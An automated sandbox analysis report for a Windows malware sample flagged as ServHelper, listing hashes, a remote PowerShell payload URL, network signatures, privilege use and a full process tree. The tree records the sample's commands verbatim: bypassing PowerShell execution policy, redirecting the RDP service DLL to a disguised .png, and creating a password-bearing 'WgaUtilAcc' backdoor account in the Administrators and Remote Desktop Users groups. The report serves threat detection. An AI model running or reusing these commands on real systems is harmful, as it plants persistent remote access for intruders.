Analysis
-
max time kernel
51s -
max time network
115s -
platform
windows10_x64 -
resource
win10v20210410 -
submitted
19-08-2021 15:14
Static task
static1
Behavioral task
behavioral1
Sample
87dd0632a95ca24443f8c6363bc055e6.exe
Resource
win7v20210408
Behavioral task
behavioral2
Sample
87dd0632a95ca24443f8c6363bc055e6.exe
Resource
win10v20210410
General
-
Target
87dd0632a95ca24443f8c6363bc055e6.exe
-
Size
5.9MB
-
MD5
87dd0632a95ca24443f8c6363bc055e6
-
SHA1
423785b67d20f4f5056ff6d9e34fda3c72a03bd4
-
SHA256
266562d82899806c0eafc3ca72216e78d41403dd24effebd31d7635922ba96ce
-
SHA512
c51d180cca074540f5ca9186e60509cfdb1c7e1a8651e691eac585df9f8352e256cedb86a4a340e0e8f5b1ed6d73ff270d92424259539c0c4c02a7048f2a75e2
Malware Config
Extracted
https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1
Signatures
-
suricata: ET MALWARE ServHelper CnC Inital Checkin
suricata: ET MALWARE ServHelper CnC Inital Checkin
-
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
-
Blocklisted process makes network request 9 IoCs
Processes:
powershell.exeflow pid process 18 1884 powershell.exe 20 1884 powershell.exe 21 1884 powershell.exe 22 1884 powershell.exe 24 1884 powershell.exe 26 1884 powershell.exe 28 1884 powershell.exe 30 1884 powershell.exe 32 1884 powershell.exe -
Modifies RDP port number used by Windows 1 TTPs
-
Sets DLL path for service in the registry 2 TTPs
-
Processes:
resource yara_rule \Windows\Branding\mediasrv.png upx \Windows\Branding\mediasvc.png upx -
Loads dropped DLL 2 IoCs
Processes:
pid process 2280 2280 -
Drops file in Program Files directory 4 IoCs
Processes:
powershell.exedescription ioc process File opened for modification C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT powershell.exe File opened for modification C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI powershell.exe File opened for modification C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT powershell.exe File opened for modification C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI powershell.exe -
Drops file in Windows directory 19 IoCs
Processes:
powershell.exepowershell.exedescription ioc process File created C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI62A7.tmp powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\INetCache\counters2.dat powershell.exe File created C:\Windows\branding\mediasrv.png powershell.exe File opened for modification C:\Windows\branding\ShellBrd powershell.exe File opened for modification C:\Windows\branding\mediasvc.png powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_irohjm15.mi3.psm1 powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI62C8.tmp powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI6328.tmp powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File created C:\Windows\branding\mediasvc.png powershell.exe File created C:\Windows\branding\wupsvc.jpg powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI62D8.tmp powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI62E9.tmp powershell.exe File opened for modification C:\Windows\branding\Basebrd powershell.exe File opened for modification C:\Windows\branding\mediasrv.png powershell.exe File opened for modification C:\Windows\branding\wupsvc.jpg powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_wleutuu4.fil.ps1 powershell.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
powershell.exeWMIC.exedescription ioc process Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\16\52C64B7E powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "0" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\DisplayName = "Computer" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\Icon = "shell32.dll#0016" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\1400 = "3" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\PMDisplayName = "Trusted sites [Protected Mode]" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0.map powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\DisplayName = "Restricted sites" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\1400 = "1" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\Icon = "inetcpl.cpl#001313" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\PMDisplayName = "Restricted sites [Protected Mode]" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\ powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2 powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\Description = "This zone contains Web sites that could potentially damage your computer or data." powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\Description = "This zone contains all Web sites that are on your organization's intranet." powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Flags = "1" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\Flags = "3" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\PMDisplayName = "Computer [Protected Mode]" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\CurrentLevel = "66816" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\LowIcon = "inetcpl.cpl#005425" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\1200 = "3" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\1400 = "0" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\LowIcon = "inetcpl.cpl#005426" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\ powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\ powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\Flags = "33" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1200 = "0" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\PMDisplayName = "My Computer [Protected Mode]" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Description = "This zone contains all Web sites you haven't placed in other zones" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\Icon = "inetcpl.cpl#00004481" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\http = "3" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\DisplayName = "Computer" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\PMDisplayName = "Computer [Protected Mode]" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\Icon = "shell32.dll#0016" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\Flags = "219" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\ powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\ powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\PMDisplayName = "Restricted sites [Protected Mode]" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\Icon = "inetcpl.cpl#00004481" powershell.exe Set value (data) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZonesSecurityUpgrade = 339704ea112ed701 powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\CurrentLevel = "0" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\knownfolder = "0" powershell.exe Set value (data) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0\57fd7ae31ab34c2c = 2c0053004f004600540057004100520045005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073005c0035002e0030005c00430061006300680065002c000000 powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\CurrentLevel = "70912" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\Flags = "33" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe -
Modifies registry key 1 TTPs 1 IoCs
-
Runs net.exe
-
Script User-Agent 4 IoCs
Uses user-agent string associated with script host/environment.
Processes:
description flow ioc HTTP User-Agent header 22 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 24 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 20 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 21 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 18 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepid process 3548 powershell.exe 3548 powershell.exe 3548 powershell.exe 3644 powershell.exe 3644 powershell.exe 3644 powershell.exe 3128 powershell.exe 3128 powershell.exe 3128 powershell.exe 2116 powershell.exe 2116 powershell.exe 2116 powershell.exe 3548 powershell.exe 3548 powershell.exe 3548 powershell.exe 1884 powershell.exe 1884 powershell.exe 1884 powershell.exe -
Suspicious behavior: LoadsDriver 2 IoCs
Processes:
pid process 628 628 -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
87dd0632a95ca24443f8c6363bc055e6.exepowershell.exepowershell.exepowershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 2204 87dd0632a95ca24443f8c6363bc055e6.exe Token: SeDebugPrivilege 3548 powershell.exe Token: SeDebugPrivilege 3644 powershell.exe Token: SeIncreaseQuotaPrivilege 3644 powershell.exe Token: SeSecurityPrivilege 3644 powershell.exe Token: SeTakeOwnershipPrivilege 3644 powershell.exe Token: SeLoadDriverPrivilege 3644 powershell.exe Token: SeSystemProfilePrivilege 3644 powershell.exe Token: SeSystemtimePrivilege 3644 powershell.exe Token: SeProfSingleProcessPrivilege 3644 powershell.exe Token: SeIncBasePriorityPrivilege 3644 powershell.exe Token: SeCreatePagefilePrivilege 3644 powershell.exe Token: SeBackupPrivilege 3644 powershell.exe Token: SeRestorePrivilege 3644 powershell.exe Token: SeShutdownPrivilege 3644 powershell.exe Token: SeDebugPrivilege 3644 powershell.exe Token: SeSystemEnvironmentPrivilege 3644 powershell.exe Token: SeRemoteShutdownPrivilege 3644 powershell.exe Token: SeUndockPrivilege 3644 powershell.exe Token: SeManageVolumePrivilege 3644 powershell.exe Token: 33 3644 powershell.exe Token: 34 3644 powershell.exe Token: 35 3644 powershell.exe Token: 36 3644 powershell.exe Token: SeDebugPrivilege 3128 powershell.exe Token: SeIncreaseQuotaPrivilege 3128 powershell.exe Token: SeSecurityPrivilege 3128 powershell.exe Token: SeTakeOwnershipPrivilege 3128 powershell.exe Token: SeLoadDriverPrivilege 3128 powershell.exe Token: SeSystemProfilePrivilege 3128 powershell.exe Token: SeSystemtimePrivilege 3128 powershell.exe Token: SeProfSingleProcessPrivilege 3128 powershell.exe Token: SeIncBasePriorityPrivilege 3128 powershell.exe Token: SeCreatePagefilePrivilege 3128 powershell.exe Token: SeBackupPrivilege 3128 powershell.exe Token: SeRestorePrivilege 3128 powershell.exe Token: SeShutdownPrivilege 3128 powershell.exe Token: SeDebugPrivilege 3128 powershell.exe Token: SeSystemEnvironmentPrivilege 3128 powershell.exe Token: SeRemoteShutdownPrivilege 3128 powershell.exe Token: SeUndockPrivilege 3128 powershell.exe Token: SeManageVolumePrivilege 3128 powershell.exe Token: 33 3128 powershell.exe Token: 34 3128 powershell.exe Token: 35 3128 powershell.exe Token: 36 3128 powershell.exe Token: SeDebugPrivilege 2116 powershell.exe Token: SeIncreaseQuotaPrivilege 2116 powershell.exe Token: SeSecurityPrivilege 2116 powershell.exe Token: SeTakeOwnershipPrivilege 2116 powershell.exe Token: SeLoadDriverPrivilege 2116 powershell.exe Token: SeSystemProfilePrivilege 2116 powershell.exe Token: SeSystemtimePrivilege 2116 powershell.exe Token: SeProfSingleProcessPrivilege 2116 powershell.exe Token: SeIncBasePriorityPrivilege 2116 powershell.exe Token: SeCreatePagefilePrivilege 2116 powershell.exe Token: SeBackupPrivilege 2116 powershell.exe Token: SeRestorePrivilege 2116 powershell.exe Token: SeShutdownPrivilege 2116 powershell.exe Token: SeDebugPrivilege 2116 powershell.exe Token: SeSystemEnvironmentPrivilege 2116 powershell.exe Token: SeRemoteShutdownPrivilege 2116 powershell.exe Token: SeUndockPrivilege 2116 powershell.exe Token: SeManageVolumePrivilege 2116 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
87dd0632a95ca24443f8c6363bc055e6.exepowershell.execsc.exenet.execmd.execmd.exenet.execmd.execmd.exenet.execmd.exenet.execmd.exenet.execmd.exenet.execmd.exenet.execmd.exenet.execmd.exenet.execmd.exedescription pid process target process PID 2204 wrote to memory of 3548 2204 87dd0632a95ca24443f8c6363bc055e6.exe powershell.exe PID 2204 wrote to memory of 3548 2204 87dd0632a95ca24443f8c6363bc055e6.exe powershell.exe PID 3548 wrote to memory of 528 3548 powershell.exe csc.exe PID 3548 wrote to memory of 528 3548 powershell.exe csc.exe PID 528 wrote to memory of 3036 528 csc.exe cvtres.exe PID 528 wrote to memory of 3036 528 csc.exe cvtres.exe PID 3548 wrote to memory of 3644 3548 powershell.exe powershell.exe PID 3548 wrote to memory of 3644 3548 powershell.exe powershell.exe PID 3548 wrote to memory of 3128 3548 powershell.exe powershell.exe PID 3548 wrote to memory of 3128 3548 powershell.exe powershell.exe PID 3548 wrote to memory of 2116 3548 powershell.exe powershell.exe PID 3548 wrote to memory of 2116 3548 powershell.exe powershell.exe PID 3548 wrote to memory of 1708 3548 powershell.exe reg.exe PID 3548 wrote to memory of 1708 3548 powershell.exe reg.exe PID 3548 wrote to memory of 3876 3548 powershell.exe reg.exe PID 3548 wrote to memory of 3876 3548 powershell.exe reg.exe PID 3548 wrote to memory of 1704 3548 powershell.exe reg.exe PID 3548 wrote to memory of 1704 3548 powershell.exe reg.exe PID 3548 wrote to memory of 3940 3548 powershell.exe net.exe PID 3548 wrote to memory of 3940 3548 powershell.exe net.exe PID 3940 wrote to memory of 1924 3940 net.exe net1.exe PID 3940 wrote to memory of 1924 3940 net.exe net1.exe PID 3548 wrote to memory of 3408 3548 powershell.exe cmd.exe PID 3548 wrote to memory of 3408 3548 powershell.exe cmd.exe PID 3408 wrote to memory of 3920 3408 cmd.exe cmd.exe PID 3408 wrote to memory of 3920 3408 cmd.exe cmd.exe PID 3920 wrote to memory of 2692 3920 cmd.exe net.exe PID 3920 wrote to memory of 2692 3920 cmd.exe net.exe PID 2692 wrote to memory of 2704 2692 net.exe net1.exe PID 2692 wrote to memory of 2704 2692 net.exe net1.exe PID 3548 wrote to memory of 4060 3548 powershell.exe cmd.exe PID 3548 wrote to memory of 4060 3548 powershell.exe cmd.exe PID 4060 wrote to memory of 188 4060 cmd.exe cmd.exe PID 4060 wrote to memory of 188 4060 cmd.exe cmd.exe PID 188 wrote to memory of 1896 188 cmd.exe net.exe PID 188 wrote to memory of 1896 188 cmd.exe net.exe PID 1896 wrote to memory of 2212 1896 net.exe net1.exe PID 1896 wrote to memory of 2212 1896 net.exe net1.exe PID 1616 wrote to memory of 1884 1616 cmd.exe net.exe PID 1616 wrote to memory of 1884 1616 cmd.exe net.exe PID 1884 wrote to memory of 1420 1884 net.exe net1.exe PID 1884 wrote to memory of 1420 1884 net.exe net1.exe PID 1708 wrote to memory of 2692 1708 cmd.exe net.exe PID 1708 wrote to memory of 2692 1708 cmd.exe net.exe PID 2692 wrote to memory of 2808 2692 net.exe net1.exe PID 2692 wrote to memory of 2808 2692 net.exe net1.exe PID 1420 wrote to memory of 2788 1420 cmd.exe net.exe PID 1420 wrote to memory of 2788 1420 cmd.exe net.exe PID 2788 wrote to memory of 3644 2788 net.exe net1.exe PID 2788 wrote to memory of 3644 2788 net.exe net1.exe PID 2912 wrote to memory of 3872 2912 cmd.exe net.exe PID 2912 wrote to memory of 3872 2912 cmd.exe net.exe PID 3872 wrote to memory of 1116 3872 net.exe net1.exe PID 3872 wrote to memory of 1116 3872 net.exe net1.exe PID 3856 wrote to memory of 1884 3856 cmd.exe net.exe PID 3856 wrote to memory of 1884 3856 cmd.exe net.exe PID 1884 wrote to memory of 2808 1884 net.exe net1.exe PID 1884 wrote to memory of 2808 1884 net.exe net1.exe PID 3920 wrote to memory of 3940 3920 cmd.exe net.exe PID 3920 wrote to memory of 3940 3920 cmd.exe net.exe PID 3940 wrote to memory of 3644 3940 net.exe net1.exe PID 3940 wrote to memory of 3644 3940 net.exe net1.exe PID 1420 wrote to memory of 1924 1420 cmd.exe WMIC.exe PID 1420 wrote to memory of 1924 1420 cmd.exe WMIC.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\87dd0632a95ca24443f8c6363bc055e6.exe"C:\Users\Admin\AppData\Local\Temp\87dd0632a95ca24443f8c6363bc055e6.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2204 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'2⤵
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3548 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\kwdhl5eo\kwdhl5eo.cmdline"3⤵
- Suspicious use of WriteProcessMemory
PID:528 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2495.tmp" "c:\Users\Admin\AppData\Local\Temp\kwdhl5eo\CSCD77B83091D4344818D159E4A1DD8884B.TMP"4⤵PID:3036
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3644 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3128 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2116 -
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f3⤵PID:1708
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f3⤵
- Modifies registry key
PID:3876 -
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f3⤵PID:1704
-
C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add3⤵
- Suspicious use of WriteProcessMemory
PID:3940 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add4⤵PID:1924
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr3⤵
- Suspicious use of WriteProcessMemory
PID:3408 -
C:\Windows\system32\cmd.execmd /c net start rdpdr4⤵
- Suspicious use of WriteProcessMemory
PID:3920 -
C:\Windows\system32\net.exenet start rdpdr5⤵
- Suspicious use of WriteProcessMemory
PID:2692 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start rdpdr6⤵PID:2704
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start TermService3⤵
- Suspicious use of WriteProcessMemory
PID:4060 -
C:\Windows\system32\cmd.execmd /c net start TermService4⤵
- Suspicious use of WriteProcessMemory
PID:188 -
C:\Windows\system32\net.exenet start TermService5⤵
- Suspicious use of WriteProcessMemory
PID:1896 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start TermService6⤵PID:2212
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f3⤵PID:4552
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f3⤵PID:4568
-
C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc 000000 /del1⤵
- Suspicious use of WriteProcessMemory
PID:1616 -
C:\Windows\system32\net.exenet.exe user WgaUtilAcc 000000 /del2⤵
- Suspicious use of WriteProcessMemory
PID:1884 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc 000000 /del3⤵PID:1420
-
C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc xjZDRAno /add1⤵
- Suspicious use of WriteProcessMemory
PID:1708 -
C:\Windows\system32\net.exenet.exe user WgaUtilAcc xjZDRAno /add2⤵
- Suspicious use of WriteProcessMemory
PID:2692 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc xjZDRAno /add3⤵PID:2808
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD1⤵
- Suspicious use of WriteProcessMemory
PID:1420 -
C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD2⤵
- Suspicious use of WriteProcessMemory
PID:2788 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD3⤵PID:3644
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD1⤵
- Suspicious use of WriteProcessMemory
PID:2912 -
C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD2⤵
- Suspicious use of WriteProcessMemory
PID:3872 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD3⤵PID:1116
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD1⤵
- Suspicious use of WriteProcessMemory
PID:3856 -
C:\Windows\system32\net.exenet.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD2⤵
- Suspicious use of WriteProcessMemory
PID:1884 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD3⤵PID:2808
-
C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc xjZDRAno1⤵
- Suspicious use of WriteProcessMemory
PID:3920 -
C:\Windows\system32\net.exenet.exe user WgaUtilAcc xjZDRAno2⤵
- Suspicious use of WriteProcessMemory
PID:3940 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc xjZDRAno3⤵PID:3644
-
C:\Windows\System32\cmd.execmd.exe /C wmic path win32_VideoController get name1⤵
- Suspicious use of WriteProcessMemory
PID:1420 -
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name2⤵
- Modifies data under HKEY_USERS
PID:1924
-
C:\Windows\System32\cmd.execmd.exe /C wmic CPU get NAME1⤵PID:1884
-
C:\Windows\System32\Wbem\WMIC.exewmic CPU get NAME2⤵PID:3940
-
